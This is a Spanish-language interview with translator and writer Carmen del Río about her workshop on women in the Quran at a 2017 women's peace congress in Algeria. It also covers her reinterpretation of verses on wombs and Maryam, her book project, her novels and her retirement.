Miércoles , Agosto 16 2017

Entrevista a Carmen del Río

Carmen del Río es traductora y escritora, una mujer dedicada al estudio del honrado Alcorán como fuente de luz, sabiduría y fuente inagotable de guía para los humanos.

 

 

Pregunta: Recientemente has viajado a Argelia, con motivo del Congreso Internacional Femenino. Por una cultura de paz – Las mujeres tienen la palabra. ¿Qué te pareció la experiencia?

Respuesta: Fue un exitazo y el congreso una gran experiencia. Dentro de todo lo malo que va por el mundo «sataneando», la verdad, aquello fue una luz. Y lo digo porque la tariqa Alawiya, que es la que tiene la ONG AISA y la fundación que lo organizaron parecen tener las cosas clarísimas. Son avanzados y no se esconden para serlo. Me parece una actitud muy valiente y muy coherente. Asistió como ponente, y eso no lo sabía yo, una cheija turca, eso es lo que vi en el programa, lo que no sabía era que era la cheija máxima de la tariqa Mevlevi, la más prestigiosa históricamente y actualmente de todas las tariqas y tiene una cheija porque el cheij anterior la eligió y dijo que el mundo ahora sólo se salvará por las mujeres. Imagínese. Cuando personas inspiradas llegan a esa conclusión y proceden en consecuencia, creo que sí, que de verdad, algo va a cambiar. El ambiente era de una amabilidad y libertad totales. Hasta alguna minifalda he visto sin que a nadie le chocase ni se le ocurriese siquiera hacer caso de semejantes cosas. Rezos mezclados, en la misma fila el cheij alawy con la cheija turca y otros, uno al lado del otro.

O sea, una gran cosa. Las tariqas son algo serio porque en «Occidente» son como el enganche de muchos modernos que creen en lo esencial del islam y en la espiritualidad pero no quieren verse metidos en el islam tradicional o en el sectario y que, sin embargo, para estas cosas pueden aportar muchísimo apoyo y creo que también dinero. Todo el congreso se apoyaba en voluntarios de una dedicación y cordialidad ejemplares.

De Argelia, en lo breve de la estancia y, además, metida en el congreso, evidentemente no he hecho una gran exploración, pero lo que he visto me ha complacido. La gente respetuosa de sí misma y de los demás. En particular y teniendo en cuenta la idea que uno se suele hacer de «esos países», no he visto ni una sola mirada de varón que no fuera respetuosa para todos en general, incluidas las mujeres. O sea, las mujeres no son objeto de miradas de esas que ya sabemos. Me han parecido los argelinos amables y serviciales, sin ser obsequiosos, digamos sobrios, pero indudablemente amables.

P: ¿Cuál fue el motivo del congreso?

R: El propósito del congreso ha sido como el propio lema de él lo indica: Por una cultura de paz – Las mujeres tienen la palabra.

Se parte en esa formulación de la base de que las mujeres son un factor decisivo en esa cultura. La cultura general en lo que se recoge de la historia y en el presente, se funda primordialmente en el poder y en la pugna por el poder. Es de suponer que una cultura en la que las mujeres tuvieran más predicamento no se volcaría en el poder de la misma manera y, por tanto, estaría más predispuesta a una cultura de paz.

En ese punto se articula la ponencia que presenté yo.

De alguna manera, en un congreso en el que el predominio era francófono y árabe, Iván Rendón (el colega mejicano) y yo fuimos los únicos ponentes en lengua hispana y, aunque fuera sólo oficiosamente, representantes del islam hispano. Desde ese punto de vista fue importante hacer visible la existencia y la labor de los musulmanes de lenguas hispanas. Y aquí sí quiero destacar y agradecer la eficaz contribución de los intérpretes, en mi caso, Said Bensellam, que fue apreciada enormemente.

P: ¿Y cómo viviste tu participación?

R: Mi taller, La mujer en el honrado Alcorán, fue un éxito. Participábamos un argelino muy mayor, diplomático con  mucha experiencia ya en estos temas, jubilado y yo, además del intérprete mío que es el jefe de la tariqa Alawiya en España y que, como es de profesión profesor de árabe, sabe, y cuando se ponían en tela de juicio mis entendimientos de la lengua los defendía con autoridad. El ponente argelino era un señor encantador, perfecto caballero que generosamente dijo que lo que tenía que decir yo era más interesante y abrevió lo suyo. Y a pesar de que al empezar había cuatro gatos en la sala, cuando terminó, después de alargarse hora y media más en los debates, había gente sentada por el suelo y no se veía la puerta de lo abarrotada que estaba la sala de gente de pie.

En cuanto al contenido de la ponencia, se explica por sí sólo pero añadiré que va directamente al fondo de la cuestión, ya que precisamente es la pugna por el poder la que relega a las matrices. La función reproductiva copa mucho la existencia de la mujer y, siendo la reproducción algo fundamental y ateniéndonos al honrado Alcorán, las matrices debieran haber dado socialmente a las mujeres predicamento y reverencia general, pero nos encontramos con que a lo que más se da categoría en las relaciones humanas y en la consideración política y social no es a esa función fundamental sino al poder bruto. El poder da autoridad, gana respeto y en el momento en que vivimos la mujer para conseguir honor y respeto ha de pelear también por el poder. Es un estado de cosas suicida y que vulnera los mandamientos coránicos, que propician unas relaciones humanas fundadas en los nombres de Dios que Él ha elegido para nosotros, los nombres de la rahma, es decir de la piedad, de la misericordia.

Me satisface añadir que la ponencia tuvo una acogida excelente, que el diálogo de preguntas y respuestas a su conclusión fue magnífico y, como ya he dicho, se prolongó hora y media más allá de lo que era la duración asignada al taller. Y repetir mi recuerdo y gratitud al componente argelino que tuve a mi lado, Tahar Ghaid, un luchador por el islam que todos deseamos.

Todo lo que he vivido en Argelia ha sido una inyección de optimismo, de que hay mucha luz todavía en el mundo y de que la batalla contra nuestras tinieblas, si Dios quiere, no está perdida y, por tanto, es el momento de tener más fe y esperanza que nunca.

P: Parece que hay una gran tarea por delante a la hora de limpiar el Corán de interpretaciones interesadas. Tenemos el ejemplo de la aleya 4:34, sobre la que hemos hablado en muchas ocasiones, pero también de la 4,1: «… Tened taqwa de Al-lah por quién os preguntáis. Y tened taqwa de las matrices…».

R: Sí. Sin embargo y a pesar de todo, me siento optimista. Las matrices parece que a mucha gente le dicen mucho. Creo que ese es el buen camino, el camino de que las matrices son jilafa femenina y que son entre Dios y las mujeres y los varones en ello son auxiliares, no «derechohabientes» y, mucho menos autoridad, que ha sido como se ha sujetado a la mujer y se la ha privado de libertad y sobrecargado de servidumbres que no tienen nada que ver con su carga reproductiva y como no debe volver a suceder. La honra de las matrices consiste precisamente en eso, en la jilafa soberana femenina, y no en su subordinación a quien no tiene matrices.

La ponencia quedó muy depurada en el sentido de que no batallé contra nada: simplemente presenté claramente los hechos tal como los proclama el honrado Alcorán. Y habrás visto que me serví de tu inspiración, confirmada además por Saíd, el intérprete, de que sí, las preguntas que nos hacemos acerca de Dios se contestan honrando las matrices.

La batalla va a ser caliente, creo, pero el contar con respaldos como el de la tariqa alawiya es un gran acicate. Y estoy de acuerdo en que muchos de los traumas y males del mundo provienen de la confusión con respecto a las madres. La mujer, las madres, la maternidad, la capacidad femenina para la reproducción y su soberanía y, por tanto, su dignidad y veneración son imprescindibles para que los seres humanos se sanen a sí mismos de sus complejos y sentimiento de culpa y deficiencia atendiendo a que proceden de la soberanía más venerable. Es tan elemental y tan de cajón cuando te centras en ello que parece mentira que haya que pelearlo. Se nos dio el cambiazo al concebir a la madre ideal y masoquista fundada en la propia inmolación en lugar de en la madre a la que se tiene sano temor, porque está dotada de los nombres de majestad del Altísimo. Por eso lo de Ittqwllah e ittaqwlarham, que verás en la ponencia y que dicen que hay que protegerse de las matrices es fundamental. Mientras la humanidad «use» las matrices y no las venere, las matrices estarán maldiciéndola y ella misma se rebaja.

P: También nos hablas de Maryam. A veces tengo la sensación de que nos han robado a Maryam, de que a fuerza de adornarla de virginidad se la ha despojado de todo lo que realmente significa ser mujer, donde reside el punto central de su mensaje profético. En la azora Los profetas nos dice Dios: «Y recuerda a Maryam…». ¿Realmente la recordamos?

Excelente pregunta. Creo que sí, que, en efecto se nos ha escamoteado a Maryam. Maryam no es un símbolo, no es un ideal. Maryam es una persona real, una mujer, una profeta precisamente con la misión fundamental y primordial que Dios no podía confiar a ningún varón, porque que lo que entraña su misión es la experiencia vital femenina y, además, en circunstancias que sólo una mujer puede vivir. Como digo en la ponencia, a ningún varón le va a suceder que se quede embarazado y que tenga un hijo fuera del matrimonio. Con la historia de Maryam, además, se remachan las aleyas que salvaguardan la honra femenina y que figuran en la primera parte de la azora de La luz, de la primera a la 26.

Lo que nos dice el honrado Alcorán de Maryam y de su hijo es parte de la honra de las matrices, es parte del principio divino de que a las matrices se las honra independientemente de ningún varón, independientemente de que haya varón que las respalde o no. Dios no distingue entre matrices buenas y malas, todas son santas y hay que honrarlas y Maryam, con un hijo sin padre conocido, es la proclamación de la divina propiedad de las matrices. No, ningún varón tiene que decir nada de ellas. Entre la mujer y Dios. Ellas responden ante Él, bien, como Maryam, o menos bien, pero es ante Dios, no ante ninguna de sus criaturas. Esa Maryam, sufriente de vergüenza pública, de una condición execrada, es cierto que nos la han escamoteado para convertirla casi en un cuentito rosa con ¡oh, qué bonito!, con un nacimiento virginal, vamos, casi como unas navidades de azúcar.

Pero la Maryam real sigue presente en el honrado Alcorán y sigue transmitiendo el mensaje divino. Y ella y su hijo son una señal divina. A ver si nos enteramos de que los seres humanos somos sagrados y somos proféticos porque Dios ha bendecido las matrices y ha querido honrarlas y que las honremos porque el soplo a cada ser se les da en ese templo de su rahma que es la matriz.

Sí, como bien dices, hay que recordar a Maryam, hay que redescubrir a Maryam, es demasiado importante para no fijarse bien en ella, y en ella y su hijo.

P: Esta ponencia del congreso argelino es parte de un libro que estás escribiendo. ¿Puedes hablarnos sobre ello?

Sí. En realidad la idea inicial fue la de un libro en el que se trataran de manera coherente y organizada diversos aspectos del honrado Alcorán, casi siempre falseados, que se refieren a la condición de cada sexo. Hay una serie de aleyas que se han reflejado en las interpretaciones y en las traducciones de forma que nada tienen que ver con lo que realmente dice el honrado Alcorán y siempre e invariablemente en detrimento de la mujer. Si el honrado Alcorán se leyera exigiéndole la lógica que él mismo exige de los creyentes, ese reflejo incorrecto resultaría manifiesto para la mayoría de la gente pero hay, parece, una inercia o costumbre o temor a cuestionar esas interpretaciones o traducciones, como si al tocarlas se fuera a derrumbar algo. La verdad es que no se derrumba nada sino que, de hecho, lo que permite es apreciar la asombrosa inteligencia, conocimiento y sabiduría que encierra el honrado Alcorán, amén de la manera clara y ejemplar en que proclama la dignidad humana y, más concretamente, la dignidad de la mujer.

 

P: Este no es tu primer trabajo como escritora. Previamente has escrito algo de novela histórica. ¿Cómo resultó la experiencia?

 

P: Pues no, no lo es. Tengo dos novelas extensas en mi haber, una de humor y otra titulada Las calderas de  Aztlánen, en la que entran a partes iguales el humor, la historia y la espiritualidad. Tiene como marco histórico la conquista de México desde 1919 y también la Guerra de las Comunidades contra el Emperador Carlos V. Creo que tiene unos magníficos personajes, mucha acción y un tratamiento inspirado de la universalidad de la religión divina y la identidad de todas las religiones auténticas.

Aparte de eso, tengo mucha poesía,  artículos diversos y de exégesis coránica y algunas narraciones cortas. Todo eso se puede leer en mis dos sitios en internet: lazarzamora.org y la zarzamora.net


P: Parece que la jubilación está resultando una etapa muy fructífera.  ¿Por fin haces lo que quieres o se trata de un periodo más en la vida que se toma como viene?

P: Bueno, es una mezcla de todo pero yo lo percibo como un momento de cosecha. Siempre he sido una persona de mente intelectual, curiosa y creo que, aun siendo bastante ingenua, siempre fui objetiva, no porque intentara serlo sino porque no he podido evitar ver las fallas en teorías y argumentos aunque nunca me rebelara deliberadamente. Esa percepción se me quedaba en la mente como algo pendiente de lo que no sentía que tenía que ocuparme en ese momento, aunque me quedaran ahí las reservas. He necesitado muchos años para madurar y para que me sintiera dueña de todo ese trabajo de percepción, reflexión y contraste y que se transformase en algo que puedo expresar ya de manera coherente y organizada. Ni que decir tiene que eso no es sólo fruto de mi esfuerzo sino del espíritu del tiempo y de las personas con quien he colaborado. La mayoría de las cosas que digo y razono son fruto de la colaboración de otros. Los debates en foros, como el de Webislam, y los contactos obtenidos a través de ellos han sido un «caldero» muy sustancioso y creo que todos hemos aprendido de todos. Mi inclinación a la escritura, claro está, me ha empujado a dar cuerpo a todo ese trabajo de estudio y reflexión de manera que quede expuesto en su coherencia y sentido.

 

 

Muchísimas gracias, Carmen, por tu tiempo, tu dedicación y por ese trabajo de hormiga que haces en favor de que la luz del Corán nos ilumine y nos guíe.

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